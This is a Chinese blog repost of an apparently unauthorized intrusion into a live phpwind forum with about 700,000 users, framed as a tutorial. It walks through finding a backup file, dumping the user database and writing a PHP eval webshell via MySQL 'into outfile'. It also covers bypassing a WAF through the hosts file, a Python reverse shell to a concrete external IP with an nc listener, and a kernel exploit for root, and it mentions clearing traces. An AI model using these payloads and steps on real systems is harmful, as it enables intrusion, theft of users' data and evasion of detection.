最新消息:

web检测+拿shell+Linux提权一条龙科普

linux admin 6126浏览 0评论
摘要: 非常棒的一篇手记,心灵手巧的作者用自写的备份文件fuzz工具摸到了目标的备份,读取配置文件后一路高歌猛进,写webshell,反弹交互式会话提权

拿我写的“备份文件批量扫描器不外传”扫到了一个网站的备份文件(XDSEC内部测试使用,大家暂时不要找我要,不想因为一个工具影响交情,裤子也一样),phpwind8.7,用户有70来万,有使用了加速乐。向来对裤子感兴趣,于是想把它裤子脱下来。
211035usbebfunznn00z7n1

下载下来以后,读到数据库的配置文件/data/sql_config.php,数据库地址是一个内网,192.168.10.12

这时就想,如果是内网,那么应该不能连接其数据库。后来又翻配置文件,找到“创始人用户名数组”和“创始人密码数组”,没想到phpwind中管理员的密码保存在文件中。

解密以后登录后台。后台数据 – 数据库 – 数据维护,可以对所有表进行备份。但是备份的时候注意,数据库很大的时候一定要分卷备份。有些同学有强迫症喜欢备份成一个文件,就把分卷大小输入999999,导致最后备份备死掉。

一般10M一个卷就可以。

备份好以后下载,裤子就算脱完了。再观察后台,该修的都修了,应用中心无法上传,不能拿shell。

当时想,拿下shell连一下数据库把痕迹清理了。不过既然后台拿不到shell干脆再回到源码的地方,数据库是root权限,试试外连呗,结果一连就连上了。

看似很苛刻的,内网+加速乐,结果还是外连连上了。。。早知道不用进后台。

连上mysql,当时还是以为数据库在内网(其实后来发现就是本机,本机在内网的IP就是10.12),以为mysql里数据库比较多,没一个一个翻。想着写到shell就能解释疑惑了。

结果没有绝对路径……

看服务器的特征感觉是linux + apache,apache的如何找绝对路径。下面说一个小tip:

apache默认配置文件:/etc/httpd/conf/httpd.conf

默认虚拟主机配置文件:/etc/httpd/conf.d/vhost.conf

我 们用mysql load_file,select load_file(‘/etc/httpd/conf/httpd.conf’),如果navicat中读出来的内容是二进制BLOB的话,只用右键 – 保存数据为一个文件即可)读取这两个配置文件。httpd.conf中,有apache默认的www目录DocumentRoot:

211036magalhqm3ucqa0ek1

但如果网站是以虚拟主机来运行的话,就再看看虚拟主机的配置文件,很多东西就一目了然了:

211036ev4ogjhzk4d12kvo1

然后我们直接写shell:

select “<?php eval($_POST[f4ck]); ?>” into outfile “/data/root/*************/wwwroot/f4ck.php”;

菜刀连接发现被拦截了,因为有加速乐。当连接一句话的时候有加速乐或安全宝之类中介拦截的话,如果是独立IP,我们直接连接其IP即可,如果不是我们可以修改本地host文件,将域名直接指向IP,绕过中间的DNS。

211037c004ajzkvtg0ngo61

在菜刀上执行命令,用户是apache,但尴尬的发现uname这个命令无法执行……在/proc/version文件中读读linux版本,却发现连cat命令也无法执行。

我试了一切读取文件的命令,head、tail、less、more等,都是permission denied:

21103709poxxlsslvtx0lb1

最后只能把/proc/version拷贝到tmp目录下用菜刀查看:

cp /proc/version /tmp/version

2110382bs5fectfs5517sj1

2.6.18-194 el5,我们试试提权。先得弹一个shell回来,只有获得了交互型shell才能去提权,否则提下来我们也用不了。

先试试python,看看服务器是否支持:

211038xcmw61wzyf5y6qiy1

OK,可以执行python。我们写一个python的反弹shell脚本:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("156.11.210.88",11890))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

需要本地有外网IP,或你在另一台已经有权限的服务器上,用nc监听端口(nc.exe -l -p 11890)。其中156.11.210.88是你本地外网IP,11890是你本地监听的端口。

将其保存为/tmp/shell.py,执行python /tmp/shell.py即可。我们再来到查看本地nc,已经看到弹回了shell:

2110391942qsr44z4i1oqq1

这个shell和菜刀里的shell一样的权限,只不过它是交互式shell。

弹回了shell我们就可以试试提权了。内核版本2.6.18-194。试了好几个exp,最后来到法客工具包里找到linux提权,找到一个编译好的2.6.18-194:

211039exuhh7vub7x77t77

如果没有编译好,.c格式的源码,我们可以传到目标下进行编译:gcc 2.6.18-194.c -o exp

这里是编译好的exp,我们将其传到/tmp目录下。

传上去以后我们首先需要赋予其执行权限,直接chmod 777:

2110398w86c1eri9835td61

然后见证奇迹的时刻,运气十分好,$变#:

211040sduitpkdiwd16uw11

直接提升到root权限。接下来就能……其实我也不知道接下来干嘛,本来就是一次漫无目的的渗透,全当是科普。

转自:http://www.f4ck.org/article-1852-1.html

转载请注明:jinglingshu的博客 » web检测+拿shell+Linux提权一条龙科普

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址